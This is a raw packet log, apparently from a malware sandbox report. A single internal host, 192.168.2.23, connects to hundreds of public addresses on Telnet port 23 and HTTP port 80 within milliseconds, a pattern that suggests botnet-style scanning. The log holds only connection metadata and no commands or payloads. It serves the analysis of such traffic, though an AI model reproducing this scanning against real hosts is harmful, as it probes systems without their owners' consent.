Jun 1, 2024 18:15:53.241754055 CEST	34826	80	192.168.2.23	123.28.179.254
Jun 1, 2024 18:15:53.241765022 CEST	50824	80	192.168.2.23	87.130.72.182
Jun 1, 2024 18:15:53.241775990 CEST	50824	80	192.168.2.23	87.130.72.182
Jun 1, 2024 18:15:53.241782904 CEST	51156	80	192.168.2.23	87.130.72.182
Jun 1, 2024 18:15:53.241794109 CEST	57298	80	192.168.2.23	24.4.140.180
Jun 1, 2024 18:15:53.241807938 CEST	57298	80	192.168.2.23	24.4.140.180
Jun 1, 2024 18:15:53.241825104 CEST	57628	80	192.168.2.23	24.4.140.180
Jun 1, 2024 18:15:53.241837025 CEST	57174	80	192.168.2.23	37.47.52.166
Jun 1, 2024 18:15:53.241844893 CEST	57174	80	192.168.2.23	37.47.52.166
Jun 1, 2024 18:15:53.241864920 CEST	57504	80	192.168.2.23	37.47.52.166
Jun 1, 2024 18:15:53.241898060 CEST	46642	23	192.168.2.23	169.237.222.240
Jun 1, 2024 18:15:53.242146969 CEST	80	53862	149.115.99.191	192.168.2.23
Jun 1, 2024 18:15:53.242186069 CEST	80	37480	92.126.90.34	192.168.2.23
Jun 1, 2024 18:15:53.242194891 CEST	80	44742	81.132.76.122	192.168.2.23
Jun 1, 2024 18:15:53.242197990 CEST	53862	80	192.168.2.23	149.115.99.191
Jun 1, 2024 18:15:53.242230892 CEST	37480	80	192.168.2.23	92.126.90.34
Jun 1, 2024 18:15:53.242230892 CEST	44742	80	192.168.2.23	81.132.76.122
Jun 1, 2024 18:15:53.242430925 CEST	80	60788	193.77.243.238	192.168.2.23
Jun 1, 2024 18:15:53.242440939 CEST	80	60742	35.40.58.241	192.168.2.23
Jun 1, 2024 18:15:53.242453098 CEST	23	58190	136.187.8.197	192.168.2.23
Jun 1, 2024 18:15:53.242465973 CEST	60788	80	192.168.2.23	193.77.243.238
Jun 1, 2024 18:15:53.242896080 CEST	80	43832	34.240.253.41	192.168.2.23
Jun 1, 2024 18:15:53.242911100 CEST	60742	80	192.168.2.23	35.40.58.241
Jun 1, 2024 18:15:53.242934942 CEST	43832	80	192.168.2.23	34.240.253.41
Jun 1, 2024 18:15:53.242942095 CEST	23	48496	130.9.55.100	192.168.2.23
Jun 1, 2024 18:15:53.242953062 CEST	23	46530	124.240.206.147	192.168.2.23
Jun 1, 2024 18:15:53.242963076 CEST	80	49670	115.246.114.148	192.168.2.23
Jun 1, 2024 18:15:53.242973089 CEST	23	47038	124.240.206.147	192.168.2.23
Jun 1, 2024 18:15:53.242983103 CEST	23	59430	159.100.13.109	192.168.2.23
Jun 1, 2024 18:15:53.242994070 CEST	49670	80	192.168.2.23	115.246.114.148
Jun 1, 2024 18:15:53.243001938 CEST	23	52112	117.224.47.123	192.168.2.23
Jun 1, 2024 18:15:53.243010998 CEST	23	57596	18.19.48.185	192.168.2.23
Jun 1, 2024 18:15:53.243014097 CEST	47038	23	192.168.2.23	124.240.206.147
Jun 1, 2024 18:15:53.243017912 CEST	59430	23	192.168.2.23	159.100.13.109
Jun 1, 2024 18:15:53.243038893 CEST	80	58212	78.247.12.109	192.168.2.23
Jun 1, 2024 18:15:53.243042946 CEST	57596	23	192.168.2.23	18.19.48.185
Jun 1, 2024 18:15:53.243048906 CEST	23	33704	198.118.127.110	192.168.2.23
Jun 1, 2024 18:15:53.243060112 CEST	23	39814	1.12.235.252	192.168.2.23
Jun 1, 2024 18:15:53.243068933 CEST	23	34210	198.118.127.110	192.168.2.23
Jun 1, 2024 18:15:53.243068933 CEST	58212	80	192.168.2.23	78.247.12.109
Jun 1, 2024 18:15:53.243098974 CEST	34210	23	192.168.2.23	198.118.127.110
Jun 1, 2024 18:15:53.243176937 CEST	23	58922	159.100.13.109	192.168.2.23
Jun 1, 2024 18:15:53.243186951 CEST	80	56838	117.200.77.204	192.168.2.23
Jun 1, 2024 18:15:53.243196964 CEST	23	57088	18.19.48.185	192.168.2.23
Jun 1, 2024 18:15:53.243206978 CEST	23	40316	1.12.235.252	192.168.2.23
Jun 1, 2024 18:15:53.243216038 CEST	80	39456	107.165.24.228	192.168.2.23
Jun 1, 2024 18:15:53.243222952 CEST	56838	80	192.168.2.23	117.200.77.204
Jun 1, 2024 18:15:53.243225098 CEST	23	51600	35.17.185.149	192.168.2.23
Jun 1, 2024 18:15:53.243236065 CEST	80	44946	81.37.220.40	192.168.2.23
Jun 1, 2024 18:15:53.243244886 CEST	80	55598	43.221.116.139	192.168.2.23
Jun 1, 2024 18:15:53.243244886 CEST	40316	23	192.168.2.23	1.12.235.252
Jun 1, 2024 18:15:53.243244886 CEST	39456	80	192.168.2.23	107.165.24.228
Jun 1, 2024 18:15:53.243267059 CEST	55598	80	192.168.2.23	43.221.116.139
Jun 1, 2024 18:15:53.243267059 CEST	44946	80	192.168.2.23	81.37.220.40
Jun 1, 2024 18:15:53.243627071 CEST	80	59816	37.168.229.134	192.168.2.23
Jun 1, 2024 18:15:53.243665934 CEST	59816	80	192.168.2.23	37.168.229.134
Jun 1, 2024 18:15:53.243710995 CEST	23	52100	35.17.185.149	192.168.2.23
Jun 1, 2024 18:15:53.243721008 CEST	23	46762	80.181.152.249	192.168.2.23
Jun 1, 2024 18:15:53.243731022 CEST	80	51142	149.127.43.235	192.168.2.23
Jun 1, 2024 18:15:53.243740082 CEST	23	47260	80.181.152.249	192.168.2.23
Jun 1, 2024 18:15:53.243750095 CEST	23	51242	186.185.212.232	192.168.2.23
Jun 1, 2024 18:15:53.243750095 CEST	52100	23	192.168.2.23	35.17.185.149
Jun 1, 2024 18:15:53.243756056 CEST	51142	80	192.168.2.23	149.127.43.235
Jun 1, 2024 18:15:53.243758917 CEST	23	51740	186.185.212.232	192.168.2.23
Jun 1, 2024 18:15:53.243768930 CEST	23	41770	67.220.156.180	192.168.2.23
Jun 1, 2024 18:15:53.243772030 CEST	47260	23	192.168.2.23	80.181.152.249
Jun 1, 2024 18:15:53.243778944 CEST	80	42178	41.79.241.72	192.168.2.23
Jun 1, 2024 18:15:53.243789911 CEST	23	42268	67.220.156.180	192.168.2.23
Jun 1, 2024 18:15:53.243789911 CEST	51740	23	192.168.2.23	186.185.212.232
Jun 1, 2024 18:15:53.243798018 CEST	23	43144	67.109.44.47	192.168.2.23
Jun 1, 2024 18:15:53.243808031 CEST	23	43642	67.109.44.47	192.168.2.23
Jun 1, 2024 18:15:53.243808031 CEST	42178	80	192.168.2.23	41.79.241.72
Jun 1, 2024 18:15:53.243822098 CEST	42268	23	192.168.2.23	67.220.156.180
Jun 1, 2024 18:15:53.243827105 CEST	80	39486	202.24.92.234	192.168.2.23
Jun 1, 2024 18:15:53.243833065 CEST	43642	23	192.168.2.23	67.109.44.47
Jun 1, 2024 18:15:53.243837118 CEST	23	57676	75.205.15.224	192.168.2.23
Jun 1, 2024 18:15:53.243848085 CEST	80	44104	145.100.188.83	192.168.2.23
Jun 1, 2024 18:15:53.243860006 CEST	39486	80	192.168.2.23	202.24.92.234
Jun 1, 2024 18:15:53.243881941 CEST	44104	80	192.168.2.23	145.100.188.83
Jun 1, 2024 18:15:53.244293928 CEST	23	58174	75.205.15.224	192.168.2.23
Jun 1, 2024 18:15:53.244304895 CEST	23	33498	219.69.205.225	192.168.2.23
Jun 1, 2024 18:15:53.244313955 CEST	80	34700	202.238.8.254	192.168.2.23
Jun 1, 2024 18:15:53.244327068 CEST	23	49756	19.244.219.238	192.168.2.23
Jun 1, 2024 18:15:53.244333982 CEST	58174	23	192.168.2.23	75.205.15.224
Jun 1, 2024 18:15:53.244337082 CEST	23	53582	77.239.54.162	192.168.2.23
Jun 1, 2024 18:15:53.244342089 CEST	34700	80	192.168.2.23	202.238.8.254
Jun 1, 2024 18:15:53.244350910 CEST	23	54076	77.239.54.162	192.168.2.23
Jun 1, 2024 18:15:53.244369984 CEST	23	35674	138.109.111.155	192.168.2.23
Jun 1, 2024 18:15:53.244379044 CEST	80	56756	174.194.105.235	192.168.2.23
Jun 1, 2024 18:15:53.244379997 CEST	54076	23	192.168.2.23	77.239.54.162
Jun 1, 2024 18:15:53.244388103 CEST	80	55292	140.5.76.153	192.168.2.23
Jun 1, 2024 18:15:53.244405985 CEST	56756	80	192.168.2.23	174.194.105.235
Jun 1, 2024 18:15:53.244406939 CEST	80	35842	83.231.82.8	192.168.2.23
Jun 1, 2024 18:15:53.244417906 CEST	23	47890	152.160.238.59	192.168.2.23
Jun 1, 2024 18:15:53.244425058 CEST	55292	80	192.168.2.23	140.5.76.153
Jun 1, 2024 18:15:53.244426966 CEST	80	47264	57.222.230.206	192.168.2.23
Jun 1, 2024 18:15:53.244436979 CEST	23	48384	152.160.238.59	192.168.2.23
Jun 1, 2024 18:15:53.244438887 CEST	35842	80	192.168.2.23	83.231.82.8
Jun 1, 2024 18:15:53.244447947 CEST	80	52794	128.101.239.153	192.168.2.23
Jun 1, 2024 18:15:53.244461060 CEST	47264	80	192.168.2.23	57.222.230.206
Jun 1, 2024 18:15:53.244468927 CEST	48384	23	192.168.2.23	152.160.238.59
Jun 1, 2024 18:15:53.244472027 CEST	52794	80	192.168.2.23	128.101.239.153
Jun 1, 2024 18:15:53.244929075 CEST	23	42536	4.11.209.54	192.168.2.23
Jun 1, 2024 18:15:53.244940996 CEST	23	43030	4.11.209.54	192.168.2.23
Jun 1, 2024 18:15:53.244961023 CEST	80	58574	45.5.242.217	192.168.2.23
Jun 1, 2024 18:15:53.244971037 CEST	23	48638	153.62.202.152	192.168.2.23
Jun 1, 2024 18:15:53.244980097 CEST	43030	23	192.168.2.23	4.11.209.54
Jun 1, 2024 18:15:53.244981050 CEST	23	49132	153.62.202.152	192.168.2.23
Jun 1, 2024 18:15:53.244985104 CEST	58574	80	192.168.2.23	45.5.242.217
Jun 1, 2024 18:15:53.244991064 CEST	23	53304	193.15.169.50	192.168.2.23
Jun 1, 2024 18:15:53.245001078 CEST	23	53798	193.15.169.50	192.168.2.23
Jun 1, 2024 18:15:53.245009899 CEST	49132	23	192.168.2.23	153.62.202.152
Jun 1, 2024 18:15:53.245019913 CEST	23	48888	118.94.182.31	192.168.2.23
Jun 1, 2024 18:15:53.245028973 CEST	23	49380	118.94.182.31	192.168.2.23
Jun 1, 2024 18:15:53.245028973 CEST	53798	23	192.168.2.23	193.15.169.50
Jun 1, 2024 18:15:53.245040894 CEST	23	59196	1.241.59.50	192.168.2.23
Jun 1, 2024 18:15:53.245050907 CEST	80	34108	204.167.44.181	192.168.2.23
Jun 1, 2024 18:15:53.245059967 CEST	23	59688	1.241.59.50	192.168.2.23
Jun 1, 2024 18:15:53.245063066 CEST	49380	23	192.168.2.23	118.94.182.31
Jun 1, 2024 18:15:53.245069981 CEST	23	53952	121.212.180.108	192.168.2.23
Jun 1, 2024 18:15:53.245078087 CEST	34108	80	192.168.2.23	204.167.44.181
Jun 1, 2024 18:15:53.245079041 CEST	23	54442	121.212.180.108	192.168.2.23
Jun 1, 2024 18:15:53.245088100 CEST	23	38996	59.197.105.179	192.168.2.23
Jun 1, 2024 18:15:53.245088100 CEST	59688	23	192.168.2.23	1.241.59.50
Jun 1, 2024 18:15:53.245104074 CEST	54442	23	192.168.2.23	121.212.180.108
Jun 1, 2024 18:15:53.245110035 CEST	80	34456	194.252.4.200	192.168.2.23
Jun 1, 2024 18:15:53.245120049 CEST	23	57466	25.82.144.48	192.168.2.23
Jun 1, 2024 18:15:53.245129108 CEST	23	39496	59.197.105.179	192.168.2.23
Jun 1, 2024 18:15:53.245135069 CEST	34456	80	192.168.2.23	194.252.4.200
Jun 1, 2024 18:15:53.245143890 CEST	80	42554	68.39.123.219	192.168.2.23
Jun 1, 2024 18:15:53.245163918 CEST	39496	23	192.168.2.23	59.197.105.179
Jun 1, 2024 18:15:53.245172024 CEST	42554	80	192.168.2.23	68.39.123.219
Jun 1, 2024 18:15:53.245559931 CEST	80	58070	186.28.217.117	192.168.2.23
Jun 1, 2024 18:15:53.245580912 CEST	23	55846	207.176.78.196	192.168.2.23
Jun 1, 2024 18:15:53.245590925 CEST	23	33750	76.77.238.47	192.168.2.23
Jun 1, 2024 18:15:53.245599031 CEST	58070	80	192.168.2.23	186.28.217.117
Jun 1, 2024 18:15:53.245601892 CEST	23	40580	192.57.0.134	192.168.2.23
Jun 1, 2024 18:15:53.245651007 CEST	23	41066	192.57.0.134	192.168.2.23
Jun 1, 2024 18:15:53.245661020 CEST	80	49564	95.237.237.156	192.168.2.23
Jun 1, 2024 18:15:53.245671988 CEST	23	49840	74.190.54.123	192.168.2.23
Jun 1, 2024 18:15:53.245682001 CEST	23	43890	94.35.2.45	192.168.2.23
Jun 1, 2024 18:15:53.245690107 CEST	41066	23	192.168.2.23	192.57.0.134
Jun 1, 2024 18:15:53.245691061 CEST	23	50324	74.190.54.123	192.168.2.23
Jun 1, 2024 18:15:53.245697021 CEST	49564	80	192.168.2.23	95.237.237.156
Jun 1, 2024 18:15:53.245711088 CEST	23	44374	94.35.2.45	192.168.2.23
Jun 1, 2024 18:15:53.245721102 CEST	80	58076	142.5.237.169	192.168.2.23
Jun 1, 2024 18:15:53.245723963 CEST	50324	23	192.168.2.23	74.190.54.123
Jun 1, 2024 18:15:53.245731115 CEST	23	35938	99.197.85.43	192.168.2.23
Jun 1, 2024 18:15:53.245745897 CEST	44374	23	192.168.2.23	94.35.2.45
Jun 1, 2024 18:15:53.245748997 CEST	23	36422	99.197.85.43	192.168.2.23
Jun 1, 2024 18:15:53.245749950 CEST	58076	80	192.168.2.23	142.5.237.169
Jun 1, 2024 18:15:53.245759010 CEST	80	51510	205.249.54.111	192.168.2.23
Jun 1, 2024 18:15:53.245769024 CEST	23	57574	150.10.234.232	192.168.2.23
Jun 1, 2024 18:15:53.245784044 CEST	36422	23	192.168.2.23	99.197.85.43
Jun 1, 2024 18:15:53.245785952 CEST	51510	80	192.168.2.23	205.249.54.111
Jun 1, 2024 18:15:53.245794058 CEST	23	58056	150.10.234.232	192.168.2.23
Jun 1, 2024 18:15:53.245804071 CEST	23	49598	212.41.104.134	192.168.2.23
Jun 1, 2024 18:15:53.245812893 CEST	23	37630	44.119.26.186	192.168.2.23
Jun 1, 2024 18:15:53.245822906 CEST	23	38110	44.119.26.186	192.168.2.23
Jun 1, 2024 18:15:53.245830059 CEST	58056	23	192.168.2.23	150.10.234.232
Jun 1, 2024 18:15:53.245832920 CEST	80	44372	117.241.145.89	192.168.2.23
Jun 1, 2024 18:15:53.245842934 CEST	23	50080	212.41.104.134	192.168.2.23
Jun 1, 2024 18:15:53.245851994 CEST	23	51194	85.65.84.38	192.168.2.23
Jun 1, 2024 18:15:53.245857000 CEST	38110	23	192.168.2.23	44.119.26.186
Jun 1, 2024 18:15:53.245861053 CEST	44372	80	192.168.2.23	117.241.145.89
Jun 1, 2024 18:15:53.245862007 CEST	23	51674	85.65.84.38	192.168.2.23
Jun 1, 2024 18:15:53.245872974 CEST	23	35362	61.75.170.238	192.168.2.23
Jun 1, 2024 18:15:53.245876074 CEST	50080	23	192.168.2.23	212.41.104.134
Jun 1, 2024 18:15:53.245882988 CEST	80	36520	72.194.176.69	192.168.2.23
Jun 1, 2024 18:15:53.245897055 CEST	51674	23	192.168.2.23	85.65.84.38
Jun 1, 2024 18:15:53.245901108 CEST	23	57620	212.78.208.187	192.168.2.23
Jun 1, 2024 18:15:53.245918989 CEST	36520	80	192.168.2.23	72.194.176.69
Jun 1, 2024 18:15:53.245927095 CEST	80	52812	41.59.82.228	192.168.2.23
Jun 1, 2024 18:15:53.245956898 CEST	52812	80	192.168.2.23	41.59.82.228
Jun 1, 2024 18:15:53.246359110 CEST	80	46058	51.243.182.171	192.168.2.23
Jun 1, 2024 18:15:53.246395111 CEST	23	58098	212.78.208.187	192.168.2.23
Jun 1, 2024 18:15:53.246407986 CEST	46058	80	192.168.2.23	51.243.182.171
Jun 1, 2024 18:15:53.246423006 CEST	23	57208	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.246433020 CEST	23	57682	73.105.9.191	192.168.2.23
Jun 1, 2024 18:15:53.246437073 CEST	58098	23	192.168.2.23	212.78.208.187
Jun 1, 2024 18:15:53.246443033 CEST	80	50980	212.199.183.185	192.168.2.23
Jun 1, 2024 18:15:53.246455908 CEST	23	34496	207.189.117.87	192.168.2.23
Jun 1, 2024 18:15:53.246463060 CEST	57682	23	192.168.2.23	73.105.9.191
Jun 1, 2024 18:15:53.246465921 CEST	23	34970	207.189.117.87	192.168.2.23
Jun 1, 2024 18:15:53.246467113 CEST	50980	80	192.168.2.23	212.199.183.185
Jun 1, 2024 18:15:53.246479034 CEST	23	47806	70.110.18.41	192.168.2.23
Jun 1, 2024 18:15:53.246488094 CEST	23	46306	52.81.53.21	192.168.2.23
Jun 1, 2024 18:15:53.246496916 CEST	34970	23	192.168.2.23	207.189.117.87
Jun 1, 2024 18:15:53.246496916 CEST	80	37288	41.62.241.247	192.168.2.23
Jun 1, 2024 18:15:53.246506929 CEST	23	48280	70.110.18.41	192.168.2.23
Jun 1, 2024 18:15:53.246515989 CEST	23	33972	101.103.92.81	192.168.2.23
Jun 1, 2024 18:15:53.246525049 CEST	37288	80	192.168.2.23	41.62.241.247
Jun 1, 2024 18:15:53.246534109 CEST	48280	23	192.168.2.23	70.110.18.41
Jun 1, 2024 18:15:53.246536016 CEST	23	34444	101.103.92.81	192.168.2.23
Jun 1, 2024 18:15:53.246546030 CEST	80	54284	110.176.150.43	192.168.2.23
Jun 1, 2024 18:15:53.246556997 CEST	80	43646	121.59.20.215	192.168.2.23
Jun 1, 2024 18:15:53.246567011 CEST	80	47804	161.166.48.249	192.168.2.23
Jun 1, 2024 18:15:53.246570110 CEST	34444	23	192.168.2.23	101.103.92.81
Jun 1, 2024 18:15:53.246570110 CEST	54284	80	192.168.2.23	110.176.150.43
Jun 1, 2024 18:15:53.246576071 CEST	80	60716	18.69.98.66	192.168.2.23
Jun 1, 2024 18:15:53.246584892 CEST	23	46154	169.237.222.240	192.168.2.23
Jun 1, 2024 18:15:53.246592045 CEST	43646	80	192.168.2.23	121.59.20.215
Jun 1, 2024 18:15:53.246592999 CEST	47804	80	192.168.2.23	161.166.48.249
Jun 1, 2024 18:15:53.246594906 CEST	23	53672	32.144.69.235	192.168.2.23
Jun 1, 2024 18:15:53.246604919 CEST	80	40782	170.90.134.85	192.168.2.23
Jun 1, 2024 18:15:53.246608019 CEST	60716	80	192.168.2.23	18.69.98.66
Jun 1, 2024 18:15:53.246614933 CEST	80	56362	44.214.37.113	192.168.2.23
Jun 1, 2024 18:15:53.246624947 CEST	80	45146	98.220.77.102	192.168.2.23
Jun 1, 2024 18:15:53.246634007 CEST	80	54366	48.52.58.128	192.168.2.23
Jun 1, 2024 18:15:53.246635914 CEST	40782	80	192.168.2.23	170.90.134.85
Jun 1, 2024 18:15:53.246640921 CEST	56362	80	192.168.2.23	44.214.37.113
Jun 1, 2024 18:15:53.246643066 CEST	80	44808	188.248.176.49	192.168.2.23
Jun 1, 2024 18:15:53.246651888 CEST	23	42652	27.189.33.70	192.168.2.23
Jun 1, 2024 18:15:53.246655941 CEST	45146	80	192.168.2.23	98.220.77.102
Jun 1, 2024 18:15:53.246661901 CEST	23	60764	119.157.206.97	192.168.2.23
Jun 1, 2024 18:15:53.246666908 CEST	54366	80	192.168.2.23	48.52.58.128
Jun 1, 2024 18:15:53.246670008 CEST	44808	80	192.168.2.23	188.248.176.49
Jun 1, 2024 18:15:53.246793985 CEST	43646	80	192.168.2.23	121.59.20.215
Jun 1, 2024 18:15:53.246803999 CEST	43646	80	192.168.2.23	121.59.20.215
Jun 1, 2024 18:15:53.246825933 CEST	43882	80	192.168.2.23	121.59.20.215
Jun 1, 2024 18:15:53.246833086 CEST	47804	80	192.168.2.23	161.166.48.249
Jun 1, 2024 18:15:53.246845007 CEST	47804	80	192.168.2.23	161.166.48.249
Jun 1, 2024 18:15:53.246857882 CEST	48040	80	192.168.2.23	161.166.48.249
Jun 1, 2024 18:15:53.246860981 CEST	23	37080	2.165.122.239	192.168.2.23
Jun 1, 2024 18:15:53.246870041 CEST	60716	80	192.168.2.23	18.69.98.66
Jun 1, 2024 18:15:53.246872902 CEST	80	43374	112.217.71.237	192.168.2.23
Jun 1, 2024 18:15:53.246877909 CEST	60716	80	192.168.2.23	18.69.98.66
Jun 1, 2024 18:15:53.246891022 CEST	80	47738	31.117.7.12	192.168.2.23
Jun 1, 2024 18:15:53.246893883 CEST	43374	80	192.168.2.23	112.217.71.237
Jun 1, 2024 18:15:53.246893883 CEST	60952	80	192.168.2.23	18.69.98.66
Jun 1, 2024 18:15:53.246901035 CEST	80	36442	77.156.147.3	192.168.2.23
Jun 1, 2024 18:15:53.246911049 CEST	80	44764	5.69.223.73	192.168.2.23
Jun 1, 2024 18:15:53.246921062 CEST	80	38426	25.119.127.189	192.168.2.23
Jun 1, 2024 18:15:53.246922016 CEST	47738	80	192.168.2.23	31.117.7.12
Jun 1, 2024 18:15:53.246931076 CEST	80	35232	146.154.17.102	192.168.2.23
Jun 1, 2024 18:15:53.246932030 CEST	36442	80	192.168.2.23	77.156.147.3
Jun 1, 2024 18:15:53.246937990 CEST	44764	80	192.168.2.23	5.69.223.73
Jun 1, 2024 18:15:53.246951103 CEST	38426	80	192.168.2.23	25.119.127.189
Jun 1, 2024 18:15:53.246953964 CEST	80	35232	146.154.17.102	192.168.2.23
Jun 1, 2024 18:15:53.246987104 CEST	80	35736	146.154.17.102	192.168.2.23
Jun 1, 2024 18:15:53.246995926 CEST	80	40304	176.184.31.108	192.168.2.23
Jun 1, 2024 18:15:53.247003078 CEST	40782	80	192.168.2.23	170.90.134.85
Jun 1, 2024 18:15:53.247003078 CEST	40782	80	192.168.2.23	170.90.134.85
Jun 1, 2024 18:15:53.247004032 CEST	80	40304	176.184.31.108	192.168.2.23
Jun 1, 2024 18:15:53.247018099 CEST	35736	80	192.168.2.23	146.154.17.102
Jun 1, 2024 18:15:53.247031927 CEST	41018	80	192.168.2.23	170.90.134.85
Jun 1, 2024 18:15:53.247035980 CEST	56362	80	192.168.2.23	44.214.37.113
Jun 1, 2024 18:15:53.247045040 CEST	56362	80	192.168.2.23	44.214.37.113
Jun 1, 2024 18:15:53.247045994 CEST	23	47446	179.70.87.184	192.168.2.23
Jun 1, 2024 18:15:53.247056961 CEST	80	42174	118.56.224.81	192.168.2.23
Jun 1, 2024 18:15:53.247064114 CEST	56598	80	192.168.2.23	44.214.37.113
Jun 1, 2024 18:15:53.247066021 CEST	80	42174	118.56.224.81	192.168.2.23
Jun 1, 2024 18:15:53.247073889 CEST	45146	80	192.168.2.23	98.220.77.102
Jun 1, 2024 18:15:53.247081995 CEST	45146	80	192.168.2.23	98.220.77.102
Jun 1, 2024 18:15:53.247095108 CEST	45382	80	192.168.2.23	98.220.77.102
Jun 1, 2024 18:15:53.247100115 CEST	54366	80	192.168.2.23	48.52.58.128
Jun 1, 2024 18:15:53.247114897 CEST	54366	80	192.168.2.23	48.52.58.128
Jun 1, 2024 18:15:53.247131109 CEST	54602	80	192.168.2.23	48.52.58.128
Jun 1, 2024 18:15:53.247143984 CEST	44808	80	192.168.2.23	188.248.176.49
Jun 1, 2024 18:15:53.247150898 CEST	44808	80	192.168.2.23	188.248.176.49
Jun 1, 2024 18:15:53.247170925 CEST	45044	80	192.168.2.23	188.248.176.49
Jun 1, 2024 18:15:53.247216940 CEST	35736	80	192.168.2.23	146.154.17.102
Jun 1, 2024 18:15:53.247237921 CEST	43374	80	192.168.2.23	112.217.71.237
Jun 1, 2024 18:15:53.247246981 CEST	43374	80	192.168.2.23	112.217.71.237
Jun 1, 2024 18:15:53.247257948 CEST	43608	80	192.168.2.23	112.217.71.237
Jun 1, 2024 18:15:53.247265100 CEST	80	42676	118.56.224.81	192.168.2.23
Jun 1, 2024 18:15:53.247267962 CEST	47738	80	192.168.2.23	31.117.7.12
Jun 1, 2024 18:15:53.247275114 CEST	23	48636	111.80.31.23	192.168.2.23
Jun 1, 2024 18:15:53.247282982 CEST	47738	80	192.168.2.23	31.117.7.12
Jun 1, 2024 18:15:53.247283936 CEST	80	57450	138.193.26.70	192.168.2.23
Jun 1, 2024 18:15:53.247298956 CEST	42676	80	192.168.2.23	118.56.224.81
Jun 1, 2024 18:15:53.247302055 CEST	80	57450	138.193.26.70	192.168.2.23
Jun 1, 2024 18:15:53.247322083 CEST	80	45786	134.10.23.167	192.168.2.23
Jun 1, 2024 18:15:53.247322083 CEST	47972	80	192.168.2.23	31.117.7.12
Jun 1, 2024 18:15:53.247330904 CEST	80	45786	134.10.23.167	192.168.2.23
Jun 1, 2024 18:15:53.247340918 CEST	80	46288	134.10.23.167	192.168.2.23
Jun 1, 2024 18:15:53.247342110 CEST	36442	80	192.168.2.23	77.156.147.3
Jun 1, 2024 18:15:53.247349977 CEST	36442	80	192.168.2.23	77.156.147.3
Jun 1, 2024 18:15:53.247351885 CEST	23	60932	164.144.164.22	192.168.2.23
Jun 1, 2024 18:15:53.247369051 CEST	80	48530	91.176.40.173	192.168.2.23
Jun 1, 2024 18:15:53.247373104 CEST	46288	80	192.168.2.23	134.10.23.167
Jun 1, 2024 18:15:53.247375011 CEST	36674	80	192.168.2.23	77.156.147.3
Jun 1, 2024 18:15:53.247387886 CEST	80	48530	91.176.40.173	192.168.2.23
Jun 1, 2024 18:15:53.247394085 CEST	44764	80	192.168.2.23	5.69.223.73
Jun 1, 2024 18:15:53.247406006 CEST	23	41452	176.188.34.141	192.168.2.23
Jun 1, 2024 18:15:53.247410059 CEST	44764	80	192.168.2.23	5.69.223.73
Jun 1, 2024 18:15:53.247428894 CEST	44994	80	192.168.2.23	5.69.223.73
Jun 1, 2024 18:15:53.247443914 CEST	38426	80	192.168.2.23	25.119.127.189
Jun 1, 2024 18:15:53.247443914 CEST	38426	80	192.168.2.23	25.119.127.189
Jun 1, 2024 18:15:53.247488022 CEST	42676	80	192.168.2.23	118.56.224.81
Jun 1, 2024 18:15:53.247498035 CEST	46288	80	192.168.2.23	134.10.23.167
Jun 1, 2024 18:15:53.247560978 CEST	53672	23	192.168.2.23	32.144.69.235
Jun 1, 2024 18:15:53.247570992 CEST	80	49032	91.176.40.173	192.168.2.23
Jun 1, 2024 18:15:53.247579098 CEST	54284	23	192.168.2.23	32.144.69.235
Jun 1, 2024 18:15:53.247581005 CEST	80	53384	115.206.192.214	192.168.2.23
Jun 1, 2024 18:15:53.247584105 CEST	38656	80	192.168.2.23	25.119.127.189
Jun 1, 2024 18:15:53.247590065 CEST	80	53384	115.206.192.214	192.168.2.23
Jun 1, 2024 18:15:53.247591972 CEST	42652	23	192.168.2.23	27.189.33.70
Jun 1, 2024 18:15:53.247601986 CEST	23	40666	204.46.89.189	192.168.2.23
Jun 1, 2024 18:15:53.247602940 CEST	49032	80	192.168.2.23	91.176.40.173
Jun 1, 2024 18:15:53.247612000 CEST	80	53886	115.206.192.214	192.168.2.23
Jun 1, 2024 18:15:53.247631073 CEST	80	37624	42.244.32.219	192.168.2.23
Jun 1, 2024 18:15:53.247637033 CEST	53886	80	192.168.2.23	115.206.192.214
Jun 1, 2024 18:15:53.247637987 CEST	49032	80	192.168.2.23	91.176.40.173
Jun 1, 2024 18:15:53.247639894 CEST	80	37624	42.244.32.219	192.168.2.23
Jun 1, 2024 18:15:53.247648954 CEST	80	38126	42.244.32.219	192.168.2.23
Jun 1, 2024 18:15:53.247677088 CEST	38126	80	192.168.2.23	42.244.32.219
Jun 1, 2024 18:15:53.247689009 CEST	53886	80	192.168.2.23	115.206.192.214
Jun 1, 2024 18:15:53.247698069 CEST	80	50616	198.208.129.228	192.168.2.23
Jun 1, 2024 18:15:53.247706890 CEST	80	50616	198.208.129.228	192.168.2.23
Jun 1, 2024 18:15:53.247711897 CEST	38126	80	192.168.2.23	42.244.32.219
Jun 1, 2024 18:15:53.247716904 CEST	23	57446	145.247.231.251	192.168.2.23
Jun 1, 2024 18:15:53.247725964 CEST	80	51118	198.208.129.228	192.168.2.23
Jun 1, 2024 18:15:53.247735023 CEST	80	51866	98.108.66.200	192.168.2.23
Jun 1, 2024 18:15:53.247745037 CEST	23	60680	35.131.211.123	192.168.2.23
Jun 1, 2024 18:15:53.247755051 CEST	43264	23	192.168.2.23	27.189.33.70
Jun 1, 2024 18:15:53.247761011 CEST	51118	80	192.168.2.23	198.208.129.228
Jun 1, 2024 18:15:53.247782946 CEST	51118	80	192.168.2.23	198.208.129.228
Jun 1, 2024 18:15:53.247817993 CEST	60764	23	192.168.2.23	119.157.206.97
Jun 1, 2024 18:15:53.247829914 CEST	33144	23	192.168.2.23	119.157.206.97
Jun 1, 2024 18:15:53.247833967 CEST	37080	23	192.168.2.23	2.165.122.239
Jun 1, 2024 18:15:53.247845888 CEST	37692	23	192.168.2.23	2.165.122.239
Jun 1, 2024 18:15:53.247848034 CEST	47446	23	192.168.2.23	179.70.87.184
Jun 1, 2024 18:15:53.247874975 CEST	48058	23	192.168.2.23	179.70.87.184
Jun 1, 2024 18:15:53.247876883 CEST	48636	23	192.168.2.23	111.80.31.23
Jun 1, 2024 18:15:53.247894049 CEST	49246	23	192.168.2.23	111.80.31.23
Jun 1, 2024 18:15:53.247901917 CEST	60932	23	192.168.2.23	164.144.164.22
Jun 1, 2024 18:15:53.247914076 CEST	33310	23	192.168.2.23	164.144.164.22
Jun 1, 2024 18:15:53.247919083 CEST	41452	23	192.168.2.23	176.188.34.141
Jun 1, 2024 18:15:53.247935057 CEST	42056	23	192.168.2.23	176.188.34.141
Jun 1, 2024 18:15:53.247972012 CEST	40666	23	192.168.2.23	204.46.89.189
Jun 1, 2024 18:15:53.247986078 CEST	41278	23	192.168.2.23	204.46.89.189
Jun 1, 2024 18:15:53.248007059 CEST	58052	23	192.168.2.23	145.247.231.251
